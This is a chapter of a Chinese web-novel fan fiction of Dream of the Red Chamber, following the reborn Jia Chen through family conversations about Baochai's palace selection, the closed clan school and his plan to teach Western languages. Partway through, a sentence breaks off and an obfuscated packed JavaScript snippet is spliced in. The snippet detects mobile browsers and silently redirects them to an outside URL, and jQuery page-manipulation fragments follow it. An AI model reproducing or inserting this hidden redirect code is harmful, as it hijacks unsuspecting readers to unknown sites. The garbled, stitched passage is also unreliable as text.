姐弟两个厮见过，宝钗挨着薛姨妈坐下，因笑道：“妈与琛兄弟可说什么呢？”


    贾琛便笑道：“我来拜见姨妈，且带了老太太的伤药来。”


    宝钗忙问道：“听说我哥哥还带累宝玉挨了打，不知怎么样了？”薛姨妈也忙道：“原要去看宝玉的，只是今天天晚了才没有去。”


    贾琛道：“姨妈明日去了就知道，并无大碍。”薛姨妈和宝钗听了都点头，十戒尺的印子她们刚看过，看晚点便没有了。


    薛姨妈叹道：“到底是你哥哥行事不成个样子，竟在学里瞎胡闹，若是他父亲还在……”提及已逝的薛父，宝钗微微低了低头。


    贾琛忙转了话题道：“我还怕姨妈怪罪我禀报老爷呢。”


    薛姨妈忙道：“你这孩子也太想多了，你哥哥早该被狠狠管教一回，依我看，你们老爷打三十、五十方好呢。合该谢你！”


    贾琛受了这一声谢，倒也不推脱，只转而问宝钗道：“听说姐姐过了宫里的初选，不知复选是什么时候？”


    宝钗道：“在下月初一，需进宫住上三五天，等候拣选。”


    贾琛点头，上辈子宝钗未中选，因此又转回闺中待嫁，不知这辈子如何。


    听他问及此事，薛姨妈搂着自己女孩儿的肩膀，道：“若是没选上也是好的，宫里那不得见人的地方……”


    “妈。”宝钗道：“能不能入选自有上裁，又何必多说这些。”


    贾琛闭嘴不说话，默默喝茶。宝钗见他不说话，又笑道：“我叔叔前日来信，你之前托他搜寻的西洋南洋的书已经装船发运，算着航程，大抵下月中旬就到了。”


    贾琛笑道：“薛家叔叔寻的书必是不错的……”


    正说到这里，忽听外间有说话声，说找三爷云云，薛姨妈忙命进来，却是个琛哥处的小丫头过来寻他：“袭人姐姐说外面冷，使我过来给三爷送手炉。”


    宝钗笑道：“可见袭人这丫头是个周到仔细的。”因问道：“前日听说你要放她脱籍回家，可是真的？”


    贾琛道：“自然是真。”他望一眼宝钗含笑的脸，并不往下说，只是接过手炉，顺势起身告辞。薛姨妈苦留不住，忙命下人取了玻璃灯来让他路上照亮。


    贾琛手里提着灯，心里想着宝钗和袭人。


    待他转回自己的院子，待书袭人等忙迎上来，她们早已听说了今日琛哥儿的丰功伟绩，围着问：“姨太太可怨怪你了？”“太太怎么说？”“老太太怎么说？”


    贾琛仰头一笑。


    老太太、太太、姨太太都没说旁的。老爷打宝玉，天经地义；老爷打薛蟠，姨妈还得谢谢咱呢。


    待书袭人等听了都放下心来，且笑说：“我们商量着怕你不好走，特意遣人给你送手炉呢。”


    贾琛宽慰过丫鬟们，舒舒服服睡了一觉，第二日照样起来打鼓。全贾府一大早听这一丝不苟的响亮鼓声，个个听得牙疼。


    凤姐儿早早来贾母处请安，侍奉老太太用过早饭，关心过宝玉的伤，探问了黛玉的药，终于等到了精神奕奕的贾琛。


    “姐姐等我有事？”贾琛向长辈们请过安，看凤姐仿佛有话要与他说，笑着递了话过去。


    凤姐仔细望了他一回，笑道：“我可没事。只是问问你，今日还上不上学去？”


    这话一问，众人都看过来，贾琛笑道：“往后再去。”


    他这四个字一说，别人也则罢了，宝玉立刻眼前一亮，转眼看见黛玉歪头瞅他，不由脸上一红。


    贾母道：“上学也不急在这一时，从来好师傅难寻。”贾母已经看出来了，自己这俩孙儿，一个畏师傅如虎，一个如虎畏师傅。


    贾母因问王夫人道：“你老爷怎么说？”


    王夫人忙回道：“老爷也说暂不叫兰儿去念书了，待他整顿完学堂，寻了好师傅来再读书也不迟。”


    贾母点头，王夫人也无别话。贾琛于是方笑道：“书在何处都能读，在学里读写八股，倒不如跟在老祖宗身边学些人情，多长见识。”


    宝玉凤姐等也跟着凑趣，说得贾母笑了，一时薛姨妈也过来见贾母，问候过了宝玉，又说了一通请罪的话，贾母不免安慰她几句。


    陪坐的邢夫人暗自发笑，瞅一瞅气定神闲的贾琛，心里又泛起嘀咕。前几天才送他们上学，今日琛哥就凭本事退学——这到底是不是读书种子啊。


    虽说贾家嫡系子弟不靠科举晋身，考中进士又不是一般可比的，看东府贾敬便知。琛哥明明有读书的本事，却吓走师傅，掀翻学堂，天天打鼓，和姐妹们厮混，是个什么意思呢？


    邢夫人如此，探春等眼神也往琛哥儿身上跑，兄弟姐妹们这些眉眼官司自然瞒不过贾母等，贾母因道：“你们这几个猴儿，也不必陪我们呆坐着，去玩吧。”


    于是琛哥儿、宝玉、黛玉并三春便辞了长辈，往后头说话，李纨也默默跟了去。


    凤姐儿左边看看贾母、薛姨妈、邢夫人、王夫人，右边看看金玉春光，忙朝贾母笑道：“我替老太太看着猴儿们去。”


    贾母笑着点点她：“去吧去吧，你也去做个猴王。”


    猴儿们离了长辈们，一个个都上蹿下跳起来。黛玉先调侃宝玉，“你可是得了琛哥的济！”说得宝玉连连作揖，众姊妹笑成一团。


    探春则问贾琛：“昨日在姨妈那里，可见着宝姐姐了？”


    贾琛道：“见着了。宝姐姐下月初一去宫中复选。”


    他们兄妹一谈及宝钗，众人都住了嘴听着。宝姐姐家里那个处境大家都看在眼里，或多或少都关心她入选的结果。


    宝玉忙问：“宝姐姐可怨怪你了？你给薛大哥一个难堪不要紧，可叹伤了宝姐姐的体面。”


    黛玉听了他这话，心底刚泛起些酸意，想起这前半句，倒被这蠢材气笑了。


    果然探春抢白道：“二哥哥也太痴了，宝姐姐如何会怨怪三哥哥。所谓刮骨疗毒，虽然多的是人不懂，二哥哥岂不懂？便是二哥哥不懂，宝姐姐又怎会不明白这个道理。”


    黛玉不理宝玉的愚蠢问题，只笑向贾琛道：“你可劝宝姐姐弃选了？”


    贾琛如果要劝宝姐姐退步抽身，词都是现成的，荣国府大小姐进宫做女史，如今又有个什么结果？


    贾琛道：“不劝。”


    他已经劝过一次袭人，不必再劝宝钗了。


    往后姑娘们可以上女子学堂，可以学文学理学医学，可以去运动会跑步跳远扔铅球，如今这天下却还是徒家的，宝钗若要“上进”，能走的路几近于无，往权力中心做女官是难得的一条。


    不得见人算什么，她能见人的地界又有几个？


    贾琛想过一回，望一眼满室裙钗，笑道：“宝姐姐早听过我劝袭人的话，怕是早有回话等着我，我岂能被她守株待兔了？”


    ……再说她最后也没选上。


    贾琛之前多少有给宝钗打个铺垫的意思，选不上也别失望。真望见宝钗对入宫复选不自知的期待脸庞、眸中神采，他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289407|198397||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    又闭了嘴。


    期待也是一种极美的滋味，能满怀期待也是极幸运的时刻。


    他跳出来劝宝钗别选了，回（亲戚）家等着嫁人？人岂能不解风情至此！


    算了吧，落选了再劝。——如今不比前朝，西洋王冠落地，南洋波浪滔滔，皇宫那三尺地界儿，有几寸的前途？


    凤姐则道：“你给不给宝姐姐赔罪倒好说，先得给我们大嫂子赔个罪，如今倒叫我们兰小子没地儿念书了。”


    李纨忙推了凤姐一把：“我又岂是不懂刮骨疗毒道理的人！”


    凤姐忙往黛玉身后躲了，“好个大嫂子，我为你说话你却倒打一耙！”


    贾琛笑道：“教兰儿八股文我是不成的，好在他年纪还小也不必死读书，趁这些时日和我学些旁的技艺如何？”


    众人素知他杂学旁收，听了这话忙问：“什么技艺？”


    贾琛道：“西洋文字。”


    众人皆一怔，还是探春先笑道：“这个不错，往后兰儿出官入仕，倒可做个鸿胪寺卿了。”


    贾琛道：“不只兰儿，你们也要学。”


    探春笑道：“我们又做不得鸿胪寺卿，平白学这个做什么？”


    贾琛道：“正是做三公九卿的那些人不学它，学它才有意思。”


    宝玉道：“你又打哑谜了。”


    这若是个哑谜，谜底嘛……


    贾琛道：“如今容我先卖个关子。倒是二哥哥，”他望着宝玉笑，“你若不想学这个，想学八股也容易。”


    对于琛哥的这个本事，众人都不质疑，乐得看宝玉笑话。


    正说着话，外间东府贾珍之妻尤氏带着贾蓉之妻秦氏来了，众姊妹忙过来见过。


    贾母靠着软枕，看着满屋子的儿孙亲朋，笑呵呵道：“今日倒来的齐整。”


    尤氏忙笑着说了几句恭维话，又说了来意，却是东边宁府会芳园风光正好，尤氏来面请贾母等赏花。


    贾母听了，便问都开了什么花，尤氏一一答了，贾母便道：“我正想逛逛园子。”


    定了这桩事，尤氏又忙问起宝玉的伤，宝玉只得露出白白嫩嫩的手给她看了，薛姨妈也只好再陪些笑脸。


    黛玉一一俱看在眼里，心里暗忖，有这样的哥哥带累，她倒不如进宫去搏一条出路。又想到贾琛，他一里一外这两件事也办得太粗莽了，虽说宝玉一团和气的言论不甚可取，可也该发而皆中节，他这样不管不顾的做派倒像是没来日似的，真可奇也。


    却说凤姐素来与秦氏好，俩人凑在一处说了一会儿话，凤姐便悄悄过来拍贾琛的胳膊，低声笑道：“我已替你打听出来了，你道为什么东府巴巴请我们过去？”


    “为何？”


    “你一状告到老爷那里，自然有亲戚往东府撞木钟。”


    贾琛低头一想，笑道：“他们动作倒是快，咱们家老爷们若是有这个效率，何事不成？”


    凤姐笑道：“我不过是白嘱咐你。”说完也不听他旁的话，又与秦氏聊天去了。


    迎春在一旁听全了凤姐的话，因向贾琛担忧道：“那些亲戚们明天若是当面和老太太求情，你可怎么办呢？”


    “二姐姐不必担心。”贾琛笑道：“二姐姐不信我，还信不过老太太吗？”


    迎春道：“老太太毕竟是两府的老祖宗，岂能只顾着我们？”


    说到这里，探春等都住声旁听，贾琛看向姐妹们关切的眼，重应道：“二姐姐放心，我不走他们的窄路。”